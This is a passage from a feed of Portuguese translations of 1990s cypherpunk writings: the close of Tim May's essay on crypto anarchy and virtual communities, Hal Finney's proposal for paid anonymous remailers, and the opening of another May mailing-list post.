&lt;li>Incapacidade dos governos centrais de controlar economias, tendências culturais, etc. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn12">[12]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/li>
&lt;/ul>
&lt;p>A Rede está integralmente ligada às transações econômicas, e nenhum país pode se dar ao luxo de se &amp;ldquo;desconectar&amp;rdquo; dela. (A URSS não poderia fazê-lo, e eles estavam anos-luz atrás dos EUA, Europa e países asiáticos. E em poucos anos, nenhuma esperança de limitar essas ferramentas, algo que o USFBI reconheceu. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn13">[13]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Inevitabilidade Tecnológica: Essas ferramentas já estão em uso generalizado, e somente passos draconianos para limitar o acesso a computadores e canais de comunicação podem afetar significativamente o uso futuro. (Cenários para restrições no uso privado da criptografia.)&lt;/p>
&lt;p>Como John Gilmore observou, &amp;ldquo;a Net tende a interpretar a censura como um dano e as rotas ao seu redor&amp;rdquo;. Isso se aplica também às tentativas de legislar o comportamento na Internet. (A impossibilidade absoluta de regulamentar a rede mundial, com pontos de entrada em mais de cem nações, com milhões de máquinas, ainda não é totalmente reconhecida pela maioria dos governos nacionais. Eles ainda falam em termos de &amp;ldquo;controlar&amp;rdquo; a rede, quando de fato as leis de uma nação geralmente têm pouco uso em outros países.)&lt;/p>
&lt;p>Dinheiro digital em suas várias formas é provavelmente o elo mais fraco neste momento. A maioria das outras peças é operacional, pelo menos em formas básicas, mas o dinheiro digital é (compreensivelmente) mais difícil de implantar. Experimentos com Hobbys ou &amp;ldquo;brinquedos&amp;rdquo; foram incômodos, ea natureza &amp;ldquo;brinquedo&amp;rdquo; é dolorosamente óbvia. Não é fácil usar sistemas de dinheiro digital neste momento (&amp;ldquo;Para usar o Magic Money, primeiro crie um cliente&amp;hellip;&amp;rdquo;), especialmente em comparação com as alternativas de fácil compreensão. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn14">[14]&lt;/a>
&lt;!-- raw HTML omitted --> As pessoas estão compreensivelmente relutantes em confiar dinheiro real a tais sistemas. E ainda não está claro o que pode ser comprado com dinheiro digital (um dilema de galinha ou ovo, que provavelmente será resolvido nos próximos anos).&lt;/p>
&lt;p>E o dinheiro digital, os bancos digitais, etc., são um alvo provável dos movimentos legislativos para limitar a implantação da criptoanarquia e das economias digitais. Seja por meio de regulamentação bancária ou leis fiscais, não é provável que o dinheiro digital seja implantado com facilidade. &amp;ldquo;Crianças, não tente isso em casa!&amp;rdquo; Alguns dos esquemas atuais também podem incorporar métodos para relatar transações para as autoridades fiscais e podem incluir recursos de &amp;ldquo;custódia de chaves de software&amp;rdquo; que tornam as transações total ou parcialmente visíveis para as autoridades.&lt;/p>
&lt;h2 id="11-conclusões">11. Conclusões&lt;/h2>
&lt;p>Criptografia forte fornece novos níveis de privacidade pessoal, o que é ainda mais importante em uma era de maior vigilância, monitoramento e a tentação de exigir provas de identidade e permissão. Algumas das &amp;ldquo;credenciais sem identidade&amp;rdquo; trabalho de Chaum e outros podem diminuir esse movimento em direção a uma sociedade de vigilância.&lt;/p>
&lt;p>As implicações são, a meu ver, que o poder dos estados-nação será reduzido, as políticas de arrecadação de impostos terão que ser mudadas, e as interações econômicas serão baseadas mais em cálculos pessoais de valor do que em mandatos sociais.&lt;/p>
&lt;p>Isto é uma coisa boa? Principalmente sim. A criptoanarquia tem alguns aspectos confusos, disso pode haver pouca dúvida. De coisas relativamente sem importância, como fixação de preços e informações privilegiadas, a coisas mais sérias, como espionagem econômica, o enfraquecimento da propriedade do conhecimento corporativo, a coisas extremamente obscuras, como mercados anônimos de assassinatos.&lt;/p>
&lt;p>Mas não esqueçamos que os estados-nação, sob o disfarce de nos proteger dos outros, mataram mais de 100 milhões de pessoas só neste século. Mao, Stalin, Hitler e Pol Pot, apenas para citar os exemplos mais extremos. É difícil imaginar qualquer nível de assassinatos por contrato digital chegando perto da barbárie do estado. (Mas eu concordo que isso é algo que não podemos falar com precisão; não acho que tenhamos muita escolha em aceitar a criptoanarquia ou não, então eu escolho focar no lado positivo.)&lt;/p>
&lt;p>É difícil argumentar que os riscos de mercados anônimos e evasão fiscal são justificativas para a supressão mundial das ferramentas de comunicação e criptografia. As pessoas sempre se mataram, e os governos não pararam com isso (sem dúvida, elas tornam o problema muito pior, como as guerras deste século mostraram).&lt;/p>
&lt;p>Além disso, existem vários passos que podem ser tomados para diminuir os riscos da criptoanarquia impingir à segurança pessoal. &lt;!-- raw HTML omitted -->&lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#fn15">[15]&lt;/a>
&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>A criptografia forte fornece um meio tecnológico de garantir a liberdade prática de ler e escrever o que se deseja. (Embora talvez não em seu nome verdadeiro, como a democracia do estado-nação provavelmente ainda tentará controlar o comportamento através de votos majoritários sobre o que pode ser dito, não dito, lido, não lido, etc.) E, claro, se a fala é livre Assim, muitas classes de interação econômica estão essencialmente ligadas à liberdade de expressão.&lt;/p>
&lt;p>Uma mudança de fase está chegando. As comunidades virtuais estão em ascensão, substituindo as noções convencionais de nacionalidade. A proximidade geográfica não é mais tão importante quanto antes.&lt;/p>
&lt;p>Muito trabalho permanece. A criptografia técnica ainda não resolveu todos os problemas, o papel das reputações (tanto positivas quanto negativas) precisa de um estudo mais aprofundado, e as questões práticas que envolvem muitas dessas áreas mal foram exploradas.&lt;/p>
&lt;p>Nós seremos os colonizadores do ciberespaço.&lt;/p>
&lt;h2 id="12-agradecimentos">12. Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos aos meus colegas do grupo Cypherpunks, todos os 700 deles, passados ​​ou presentes. Bem mais de 100 megabytes de lista de tráfego passou pela lista de discussão Cypherpunks, então tem havido muitas idéias estimulantes. Mas, especialmente, meu apreço vai para Eric Hughes, Sandy Sandfort, Duncan Frissell, Hal Finney, Perry Metzger, Nick Szabo, John Gilmore, Whit Diffie, Carl Ellison, Bill Stewart e Harry Bartholomew. Obrigado também a Robin Hanson, Ted Kaehler, Keith Henson, Chip Morningstar, Eric Dean Tribble, Mark Miller, Bob Fleming, Cherie Kushner, Michael Korns, George Gottlieb, Jim Bennett, Dave Ross, Gayle Pergamit e - especialmente - o falecido Phil Salin. Finalmente, obrigado por valiosas discussões, às vezes breves, às vezes longas, com Vernor Vinge, David Friedman, Rudy Rucker, David Chaum, Kevin Kelly e Steven Levy.&lt;/p>
&lt;h2 id="13-referências-e-notas">13. Referências e Notas&lt;/h2>
&lt;ol>
&lt;li>
&lt;ol>
&lt;li>O grupo Cypherpunks foi formado principalmente por Eric Hughes, Tim May e John Gilmore. Começou com reuniões físicas, na área da baía (São Francisco) e em outros lugares, e reuniões virtuais em uma lista de mala direta não moderada. O nome foi fornecido por Judith Milhon, como uma peça sobre o gênero &amp;ldquo;cyberpunk&amp;rdquo; e a ortografia britânica da cifra. A lista de discussão pode ser assinada enviando a mensagem única para assinar cypherpunks no corpo de uma mensagem para &lt;a href="mailto:majordomo@toad.com">majordomo@toad.com&lt;/a>
. Espere pelo menos 50 mensagens por dia. Cerca de 600 assinantes em muitos países estão atualmente na lista. Alguns são pseudônimos. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref1">↩&lt;/a>
&lt;/li>
&lt;li>A RSA Data Security Inc., em Redwood Shores, Califórnia, é a administradora da licença. Entre em contato para obter detalhes. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref2">↩&lt;/a>
&lt;/li>
&lt;li>Muitos textos criptográficos existem. Uma boa introdução é a &lt;em>Criptografia Aplicada de&lt;/em> Bruce Schneier, John Wiley and Sons, 1994. Este texto inclui indicadores para muitas outras fontes. Os Anais de &amp;ldquo;Criptografia&amp;rdquo; (Avanços em Criptologia, Springer-Verlag, anualmente) são referências essenciais. A conferência anual da Crypto em Santa Bárbara, e as conferências Eurocrypt e Auscrypt, são onde a maioria dos resultados de criptografia são apresentados. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref3">↩&lt;/a>
&lt;/li>
&lt;li>David Chaum, &lt;a href="literature/untraceable-electronic-mail/">&amp;ldquo;Correio eletrônico não rastreável, endereços de retorno e pseudônimos digitais&amp;rdquo;,&lt;/a>
Comm. ACM 24, 2, Fevereiro de 1981, pp. 84-88. Remailers estilo Cypherpunks são uma forma de &amp;ldquo;mixagens digitais&amp;rdquo; de Chaum, embora longe do ideal. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref4">↩&lt;/a>
&lt;/li>
&lt;li>David Chaum, &amp;ldquo;Segurança sem Identificação: Sistemas de Transação para tornar o Big Brother Obsoleto&amp;rdquo;, Comm. ACM 28, 10, outubro de 1985. Este é um artigo antigo sobre dinheiro digital&amp;hellip; não deixe de consultar artigos mais recentes. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref5">↩&lt;/a>
&lt;/li>
&lt;li>A oposição política em Myan Mar - antiga Birmânia - está usando Pretty Good Privacy rodando em laptops DOS nas selvas para comunicação entre os rebeldes, de acordo com Phil Zimmermann, autor de PGP. Este uso de vida ou morte ressalta o papel da criptografia. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref6">↩&lt;/a>
&lt;/li>
&lt;li>David Friedman, &lt;em>A maquinaria da liberdade&lt;/em> , 2a edição. Um teórico importante do anarcocapitalismo. (Hayek foi outro.)&lt;/li>
&lt;li>Tim May, &lt;a href="https://cypherpunks.com.br/o-manifesto-criptoanarquista/">The Crypto Anarchist Manifesto&lt;/a>
, Julho de 1988, distribuído na Usenet e em várias listas de discussão. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref8">↩&lt;/a>
&lt;/li>
&lt;li>Abuso, segundo alguns pontos de vista, dos remailers já está ocorrendo. Um remailer do tipo Cypherpunks foi usado para enviar uma função de hash proprietária da RSA Data Security, Inc. para a Usenet. (Deixe-me apressar para adicionar que não era um remailer eu opero, ou tenho controle sobre, etc.)&lt;/li>
&lt;li>artigo sobre dinheiro digital, &lt;em>The Economist&lt;/em> , 26 de novembro de 1994. pp. 21-23. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref10">↩&lt;/a>
&lt;/li>
&lt;li>artigo sobre dinheiro digital, Steven Levy, &lt;em>Wired&lt;/em> . Dezembro de 1994. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref11">↩&lt;/a>
&lt;/li>
&lt;li>Veja Kevin Kelly&amp;rsquo;s &lt;em>Out of Control&lt;/em> , 1994, para uma discussão de como o controle central está falhando, e como o paradigma moderno é um dos mecanismos de mercado, escolha pessoal e empoderamento tecnológico. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref12">↩&lt;/a>
&lt;/li>
&lt;li>Durante o debate &amp;ldquo;Digital Telephony Bill&amp;rdquo;, uma autoridade do FBI disse que o fracasso em determinar as capacidades de escuta nos próximos 18 meses tornaria tudo discutível, já que o custo subiria além de qualquer orçamento razoável (atualmente US$ 500 milhões para custos de retrofit). &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref13">↩&lt;/a>
&lt;/li>
&lt;li>&amp;ldquo;Magic Money&amp;rdquo; foi uma implementação experimental do sistema de dinheiro digital de Chaum. Ele foi codificado por &amp;ldquo;Priduct Cypher&amp;rdquo;, um membro pseudônimo da lista Cypherpunks - nenhum de nós sabe sua identidade real, como ele usou os remailers para se comunicar com a lista, e assinou digitalmente seus posts. Muitos de nós acham muito difícil de usar, o que é mais uma medida das profundas questões envolvidas no uso de análogos digitais (sem trocadilhos) para dinheiro real e físico. &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref14">↩&lt;/a>
&lt;/li>
&lt;li>Robin Hanson e David Friedman escreveram extensivamente sobre cenários para lidar com as ameaças de extorsionistas, pretensos assassinos, etc. Espero que algum trabalho deles seja publicado algum dia. (Grande parte da discussão foi em 1992-3, na lista de discussão &amp;ldquo;Extropians&amp;rdquo;.) &lt;a href="https://cypherpunks.com.br/criptoanarquia-e-comunidades-virtuais/#ref15">↩&lt;/a>
&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol>
&lt;pre tabindex="0">&lt;code>Timothy C. May
535 Monterey Drive
Aptos, CA 95003 U.S.A.
tcmay@netcom.com
December, 19944
&lt;/code>&lt;/pre>&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/virtual-communities/" target="_blank" rel="noopener noreferrer">https://nakamotoinstitute.org/virtual-communities/&lt;/a>
&lt;/p></content:encoded></item><item><title>Remailers pagos</title><link>https://cypherpunks.com.br/documentos/remailers-pagos/</link><pubDate>Fri, 28 Oct 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/remailers-pagos/</guid><description>E se você pudesse ganhar dinheiro executando um remailer?</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Hal Finney&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="28-de-outubro-de-1994">28 de Outubro de 1994&lt;/h4>
&lt;p>&lt;/p>
&lt;p>E se você pudesse ganhar dinheiro executando um remailer?&lt;/p>
&lt;p>Neste momento, a maioria dos operadores de remailer está operando por altruísmo. Isso é bom em muitos aspectos, mas tem seus problemas, como os eventos recentes mostraram:&lt;/p>
&lt;ul>
&lt;li>falta de motivação para manter os remailers operando diante de dificuldades e possíveis riscos legais&lt;/li>
&lt;li>facilidade de ataques de spam de usuários mal-intencionados&lt;/li>
&lt;li>falta de incentivo para um serviço de remailer de qualidade comercial&lt;br>
Tenho certeza de que todos podemos pensar em mais. Eu sei que seria muito mais fácil justificar continuar a administrar o repostador a mim mesmo se ele trouxesse alguns dólares por mês.&lt;/li>
&lt;/ul>
&lt;p>Eu acho que existem alguns experimentos em remailers pagos que foram tentados. Penso que Sameer está cobrando por alguns serviços, embora talvez fosse apenas para endereços de retorno anônimos. Há muito tempo atrás, Karl Barrus tinha um serviço que exigia &amp;ldquo;selos digitais&amp;rdquo; pré-emitidos, mas não creio que muitas pessoas o usassem.&lt;/p>
&lt;p>O tempo pode estar maduro para encarar isso com mais seriedade. Vários fatores estão se unindo:&lt;/p>
&lt;ul>
&lt;li>alguns esforços na padronização de comandos de remailer e cooperação de operadores (por exemplo, esta lista)&lt;/li>
&lt;li>uso mais amplo de scripts e programas utilitários para ajudar as pessoas a usarem os remailers em vários sistemas de dinheiro real que estão on-line último mês ou assim que * permitem que você seja pago por coisas na net&lt;/li>
&lt;/ul>
&lt;p>Para ser mais específico:&lt;/p>
&lt;p>É obviamente difícil operar um serviço de reencaminhamento que cobra se outras pessoas oferecerem o serviço equivalente gratuitamente. Como é muito fácil iniciar um remailer, o custo marginal para fazer isso é baixo, por isso os lucros também são baixos. No entanto, embora seja fácil iniciar um repostador, não é tão fácil manter uma execução em face de reclamações de destinatários de mensagens abusivas ou postagens inadequadas; dificuldades de sysops, proprietários, feeds de rede, ou outros para cima nessa grande cadeia de comando; possíveis problemas de aplicação da lei quando ocorrem comunicações ilegais; possíveis ameaças de ações judiciais (tais como dos cientologistas quando seus documentos sagrados são postados), etc. Portanto, não devemos ser enganados em pensar que a execução de um repostador é gratuita.&lt;/p>
&lt;p>Por outro lado, devo deixar claro que não esperaria uma morte neste serviço. Algo na ordem de um centavo uma mensagem parece razoável apenas em um palpite. Talvez devesse ser um fator de 10 maior ou menor.&lt;/p>
&lt;p>Uma questão é, evidentemente, a dificuldade adicional que isso causará no uso do repostador. Há várias coisas a considerar aqui. Por um lado, você poderia argumentar que já é muito difícil usar os remailers, e qualquer complicação adicional envolvida em incluir algum tipo de tokens de pagamento acabaria com o mercado. OTOH Eu posso concordar em espírito com os sentimentos expressos aqui recentemente sobre a baixa qualidade que parece caracterizar muito do uso dos remailers.&lt;/p>
&lt;p>Não olho para mensagens, mas de vez em quando vejo saltos, e com muita frequência são pequenas chamas feias ou material sem valor semelhante. Agora, espero ver os resíduos, que os tipos de pessoas sem noção que cometem os erros que me levam a ver as mensagens são os menos propensos a usar o serviço de uma maneira que vale a pena. Mas ainda assim, é desanimador. Nesse contexto, talvez tornar o sistema um pouco mais difícil de usar valeria a pena, na medida em que filtraria o harrasser casual. (Ou, mais realisticamente, isso pode manter apenas os harrassers excepcionalmente motivados.)&lt;/p>
&lt;p>De qualquer forma, acho que a presença dos scripts de remailer pode fazer com que usar um remailer para pagamento não seja muito mais difícil do que usar um programa gratuito. Se o custo for tão baixo quanto sugeri e a inclusão de tokens de pagamento for quase automática, a adição de custos não deverá ter um impacto muito negativo sobre o uso, certamente não em uso significativo e válido.&lt;/p>
&lt;p>E mesmo um custo modesto pode deter o spam que Detweiler e/ou a recente &amp;ldquo;Scythe&amp;rdquo; parecem amar. Pelo menos seríamos pagos por suportar o incômodo das reclamações.&lt;/p>
&lt;p>Agora, a próxima pergunta é os detalhes do pagamento. Francamente, não creio que nenhum dos sistemas atuais seja adequado para nós devido a nossas necessidades especiais, mas as coisas estão mudando rapidamente. Deixe-me descrever algo sobre como eles funcionam.&lt;/p>
&lt;p>Eu sei de dois sistemas que são baseados em VISA/Mastercard. Um é chamado First Virtual (&lt;a href="http://www.fv.com" target="_blank" rel="noopener noreferrer">http://www.fv.com&lt;/a>
). Eles são orientados para a venda de informações e dizem que não são para prestadores de serviços, mas, na prática, pareciam-me que poderiam ser usados ​​para serviços. Quando um cliente quer pagar, ele lhe envia seu ID de FV. Você envia isso para o FV e eles enviam uma mensagem de e-mail para o cliente perguntando se ele autoriza o pagamento. Se ele disser &amp;ldquo;sim&amp;rdquo;, o FV creditará sua conta. Você recebe um cheque todo mês. Os clientes que sempre dizem &amp;ldquo;não&amp;rdquo; saem do sistema (assim como os comerciantes que enviam notas falsas). Eles cobram 29 centavos mais 2% por transação, mas os comerciantes podem agrupar vários pedidos de um único cliente antes de enviá-lo.&lt;/p>
&lt;p>Existem alguns problemas com um sistema como este, muitos dos quais são um pouco genéricos para a nossa situação. O mais fundamental é que não sabemos quem são nossos clientes na maior parte do tempo. De fato, o ponto principal da rede de remailers é que não conhecemos esse fato em nenhum caso, exceto o primeiro salto na cadeia. Se exigíssemos que os clientes expusessem sua ID de conta FV em cada salto, seria muito mais fácil rastrear mensagens através da rede (mesmo que as identificações estivessem escondidas no envelope de criptografia, parece arriscado). Se, em seguida, enviarmos uma mensagem ao FV dizendo que precisamos cobrar o ID XXX e o FV responder com um e-mail ao endereço residencial da pessoa, isso oferece mais possibilidades de rastreamento.&lt;/p>
&lt;p>Uma solução seria apenas cobrar ao entrar na rede de repotenciação. Talvez os operadores de reencaminhamento cobrassem um ao outro, e o primeiro remailer cobraria uma quantia maior para lidar com um comprimento &amp;ldquo;típico&amp;rdquo; da cadeia? Muitas possibilidades interessantes aqui.&lt;/p>
&lt;p>Outra questão é que as despesas indiretas por FV exigiriam mensagens em lote antes de enviá-las. Deixe-me esclarecer que o lote deve consistir em todos os encargos para um único usuário. Não adianta enviar uma mensagem para o FV, pedindo-lhe para, por favor, cobrar um centavo para cada uma das 100 contas do VISA. Não, você teria que contar as mensagens de cada usuário, separadamente, e quando o usuário XXX tivesse enviado, digamos, US $ 1 em mensagens, você poderia enviar a solicitação para o FV e receber 70 centavos de dólar.&lt;/p>
&lt;p>Então isso adiciona um pouco de overhead e manutenção de registros que atualmente não temos que fazer, embora talvez não seja tão difícil. Mas isso levantaria novas questões sobre a autenticação de IDs de FV e compartilha alguns dos impactos negativos de privacidade e problemas de links de mensagens mencionados acima.&lt;/p>
&lt;p>O outro sistema baseado em VISA é chamado OpenMarket. Acabei de ler sobre isso hoje à noite, então eu não sei também (&lt;a href="http://www.openmarket.com" target="_blank" rel="noopener noreferrer">http://www.openmarket.com&lt;/a>
). É muito ligado à WWW, então não parece funcionar para nós. Os clientes se conectam a um determinado servidor WWW que os autentica e cobra seu cartão VISA adequadamente, então eles são redirecionados para o comerciante com algum tipo de token que diz que eles pagaram.&lt;/p>
&lt;p>O NetBank (e-mail para &lt;a href="mailto:netbank-intro@agents.com">netbank-intro@agents.com&lt;/a>
) é um sistema similar a dinheiro digital. Os clientes obtêm tokens que são basicamente grandes números secretos que possuem um valor em dinheiro. Eles os enviam para os comerciantes, e os comerciantes os enviam para o banco que credita a conta. O NetBank envia um cheque todo mês.&lt;/p>
&lt;p>O interessante é como os clientes compram os tokens em dinheiro. Uma maneira é se conectar a um número 900 com o seu modem. Eles cobram do cliente US $ 10,00 e dão a ele um valor em dinheiro digital que vale muito. Outra maneira é enviando um cheque por fax para eles. Eu não estava claro sobre como você recebe a ficha em dinheiro nesse caso; Eu acho que eles enviam para você em um endereço que você especificar. Do ponto de vista da privacidade, eles não são tão bons assim; Os números 900 têm Identificação Automática de Número, a menos que você esteja disposto a sair para um telefone público para receber seu dinheiro, então ele pode estar ligado ao seu número de telefone. E o sistema de fax deve ter algum tipo de endereço de retorno que seja vinculado a você.&lt;/p>
&lt;p>O outro problema com o NetBank é que a menor denominação que pode ser gasta é de 25 centavos. Devido à natureza de caixa dos tokens, não vejo uma maneira natural de acumular várias mensagens em um único pagamento. Talvez pudéssemos colocar nosso próprio sistema de dinheiro digital de baixo valor em cima do NetBank, onde os usuários poderiam comprar nosso dinheiro anônimo por 25 centavos e receber fichas suficientes para 25 mensagens, então nós resolveríamos entre nós (ou na verdade com o anon-mail- token bank). Na verdade, isso pode ajudar com os problemas de privacidade também. O dinheiro digital anônimo é altamente patenteado, no entanto.&lt;/p>
&lt;p>Com um sistema similar a dinheiro, cada mensagem incluiria um token numérico no cabeçalho, que é o dinheiro digital. O remailer iria retirar isso e enviá-lo para o crédito. Este é um sistema simples e pode ser amplamente automático. No entanto, existem algumas questões complicadas sobre os trapaceiros reutilizarem dinheiro.&lt;/p>
&lt;p>O NetBank cobra US $ 4 por mês, mais, para o caixa baseado em 900, 20% de desconto no valor de face.&lt;/p>
&lt;p>O último sistema que descreverei é o DigiCash de David Chaum (&lt;a href="http://www.digicash.com" target="_blank" rel="noopener noreferrer">http://www.digicash.com&lt;/a>
). Chaum é o inventor do dinheiro digital e ele certamente conhece suas coisas, além disso, como eu disse, ele tem a propriedade intelectual muito bem costurada em termos de patentes. O sistema de pagamento da DC também é baseado na WWW atualmente. O cliente tem que estar executando um programa especial em seu computador, separado de seu navegador. Este programa mantém seu dinheiro digital, que é similar conceitualmente ao caixa do NetBank, porém mais sofisticado criptograficamente. Quando ele quer comprar algo, o servidor da Web do comerciante faz uma conexão com o programa de DC do cliente e transfere o dinheiro para o comerciante.&lt;/p>
&lt;p>DigiCash disse que eles estão planejando um sistema baseado em e-mail, mas por enquanto sua ênfase é na WWW. No momento, eles estão apenas em beta e não usam dinheiro real. Eu não sei quando eles serão reais e baseados em e-mail, e não sei se eles disseram qual será a comissão deles. Mas quando isso acontece, pode ser a melhor abordagem se transações de valor pequeno puderem ser suportadas. O DigiCash é totalmente anônimo no sentido de que, uma vez que um cliente recebe o dinheiro, ele fica &amp;ldquo;cego&amp;rdquo; de uma maneira criptográfica especial, de modo que o banco não possa associá-lo a esse cliente (e ninguém mais pode, também). Esse tipo de anonimato se encaixa muito bem com nossos requisitos de remailer.&lt;/p>
&lt;p>Bem, eu sei que isso é muita informação para trabalhar, mas principalmente eu quero que as pessoas estejam cientes das possibilidades. A maioria dessas coisas é muito, muito nova, com apenas algumas semanas de idade, geralmente. Provavelmente nos próximos meses veremos muito mais opções. Estou confiante de que em breve haverá sistemas de pagamento que fornecerão a base técnica para o reencaminhamento baseado em taxas. Eu não espero que ninguém fique rico com isso, mas isso pode ajudar a compensar os riscos que todos enfrentamos, e pode servir para melhorar a qualidade da rede de remailers.&lt;/p>
&lt;p>Hal Finney&lt;br>
&lt;em>hal@rain.org&lt;/em>&lt;/p>
&lt;p>&lt;a href="http://web.archive.org/web/20130624115154/http://finney.org/~hal/home.html" target="_blank" rel="noopener noreferrer">Página de Hal Finney&lt;/a>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/for-pay-remailers/" target="_blank" rel="noopener noreferrer">For-Pay Remailers - Hal Finney&lt;/a>
&lt;/p></content:encoded></item><item><title>Ciberespaço, Crypto Anarquia e Forçando Limites</title><link>https://cypherpunks.com.br/documentos/ciberespaco-cryptoanarquia-forcando-limites/</link><pubDate>Sun, 03 Apr 1994 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/ciberespaco-cryptoanarquia-forcando-limites/</guid><description>A conexão com a criptografia é esta: talvez devêssemos estar pensando mais sobre as implicações e efeitos da criptografia forte, do dinheiro digital, dos remailers ideais, etc., assumindo que certos problemas práticos que nos atormentam hoje são, ou logo serão resolvidos. Até certo ponto, já fazemos isso, como quando discutimos as …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;blockquote>
&lt;p>Assunto: Ciberespaço, Crypto Anarquia e Forçando Limites
De: &lt;a href="mailto:tcmay@netcom.com">tcmay@netcom.com&lt;/a>
(Timothy C. May)
Para: &lt;a href="mailto:cypherpunks@toad.com">cypherpunks@toad.com&lt;/a>
Data: Domingo, 3 de Abril de 1994 19:16:49 -0700 (Horário de verão do pacífico)
Cc: &lt;a href="mailto:tcmay@netcom.com">tcmay@netcom.com&lt;/a>
(Timothy C. May)&lt;/p>
&lt;/blockquote>
&lt;h2 id="timothy-c-may">Timothy C. May&lt;/h2>
&lt;p>3 de Abril de 1994&lt;/p>
&lt;p>Esta mensagem aborda dois tópicos de interesse recente (para alguns), são eles:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Configurando sistemas de pagamento para transmissão de mensagens, para lidar com as questões de &amp;ldquo;mailbombing&amp;rdquo; e &amp;ldquo;flooding&amp;rdquo; de maneira mais natural (localidade de referência, usuário de um serviço nacional, evitando os efeitos de explosão do &amp;ldquo;Morris Worm&amp;rdquo; que poderiam ter acontecido com Detweiler nos bombardeou, como Hal notou).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>A questão geral do &amp;ldquo;ciberespaço&amp;rdquo;. Esta é a raiz de algumas controvérsias e merece mais discussão. A criptografia fará disso uma questão de cúspide muito real nos próximos anos.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>Por que debater isso agora? O que poderia sair desse debate?&lt;/p>
&lt;p>Acontece que eu estou lendo um novo livro maravilhoso de Kip Thorne, intitulado &amp;ldquo;Buracos Negros e Espasmos do Espaço&amp;rdquo;. Isso está amplamente disponível em livrarias, no livro de capa dura apenas neste momento. (30 dólares, mas é um ótimo livro, e comprei na Barnes and Noble por 24 dólares). Falando da Barnes and Noble, a Santa Clara está vendendo o livro &amp;ldquo;Introdução a complexidade Kolmogorov&amp;rdquo; de Li e Vitanyi por US $ 44, antes dos 20. % de desconto em capa dura, que pode estar com preço errado, paguei 60 dólares pela minha.Verifique se você estiver interessado &amp;hellip; acho que havia duas cópias.)&lt;/p>
&lt;p>Thorne passou 30 anos estudando o colapso gravitacional e os buracos negros, e foi coautor do famoso livro de 1973 sobre &amp;ldquo;Gravitação&amp;rdquo;, que eu usei em uma forma Xerox para minha aula de relatividade geral em 1973.&lt;/p>
&lt;p>O ponto? Thorne descreve seu envolvimento com Carl Sagan na elaboração da física da viagem no tempo através de buracos de minhoca. Thorne teve uma epifania: por mais improvável que seja a engenharia ou o financiamento de alguma coisa, há algo de valioso a ser ganho ao examinar os limites absolutos do que é possível sem levar em conta os aspectos práticos da engenharia. Assim, ele e seus alunos analisaram as implicações de uma civilização extremamente avançada capaz de, de alguma forma, abrir a boca de um buraco de minhoca. As conclusões são fascinantes e levam a uma nova linha de pensamento sobre a estrutura do espaço-tempo.&lt;/p>
&lt;p>Forçar limites e ver um comportamento “ideal” é revigorante.&lt;/p>
&lt;p>&lt;/p>
&lt;p>A conexão com a criptografia é esta: talvez devêssemos estar pensando mais sobre as implicações e efeitos da criptografia forte, do dinheiro digital, dos remailers ideais, etc., assumindo que certos problemas práticos que nos atormentam hoje são, ou logo serão resolvidos. Até certo ponto, já fazemos isso, como quando discutimos as misturas ideais de Chaum da mesma forma que os engenheiros discutem amplificadores operacionais ideais - uma útil abstração de comportamento no limite em que implementações menores do mundo real podem ser contrastadas.&lt;/p>
&lt;p>E é claro que muitos de nós descobrimos que os “Verdadeiros Nomes” de Vernor Vinge são um excelente (e rapidamente legível) tratamento de como as coisas poderiam funcionar em um mundo de comunicação rápida, barata e segura. Outros escritores viram as coisas de maneira diferente (por exemplo, “Cavaleiro da Onda de Choque”, “1984”, “Acidente de neve”).&lt;/p>
&lt;p>Aqui, para ir direto ao assunto, estão algumas breves declarações do que eu vejo como o “comportamento nos limites”. Eu não vou elabora-los melhor agora.&lt;/p>
&lt;ul>
&lt;li>
